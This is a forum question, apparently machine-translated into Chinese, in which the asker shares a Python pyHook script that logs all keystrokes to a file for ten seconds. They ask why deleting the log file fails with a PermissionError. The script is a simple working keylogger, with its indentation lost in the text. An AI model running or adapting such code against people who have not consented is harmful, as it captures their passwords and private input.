好吧,我做了这个脚本,它支持记录一些击键一段时间,把它们保存在一个文件中,然后删除文件,如果用户想,但是当脚本试图删除文件时,我得到这个错误。在Traceback (most recent call last):File
"C:\Users\Tormentor\Desktop\S.D.A.K.L\pregunta.py", line 34, in
os.remove(path2+"\"+name) PermissionError: [WinError 32] The
process cannot access the file because it is being used by another
process:'C:\Users\Public\myfile.txt'
我做了一些研究,我认为它不能被删除,因为我的“snp”函数从不关闭记录击键的文件,所以我如何关闭文件来删除它?
谢谢你的帮助:)。在import os
import time
import pyHook, pythoncom, sys, logging
path="C:\\Users\\Public\\myfile.txt"
path2="C:\\Users\\Public"
name="myfile.txt"
TinM=10
def snp(event): #
global path
logging.basicConfig(filename=path, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
timeout=time.time()+TinM
while timeout > time.time():
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = snp
hooks_manager.Hookkeyboard()
print("Logging keystrokes")
pythoncom.PumpWaitingMessages()
else:
hooks_manager.UnhookKeyboard()
x=input("Keylogger stoped do you want to delete the archive? y / n")
if x == "y":
for(path2,dirs,files) in os.walk(path2):
if name in files:
os.remove(path2+"\\"+name) #
print("Archive deleted. Goodbye")
else:
print("Archive does not exist or cant be found goodbye! :D")
else:
print("Goodbye! :D")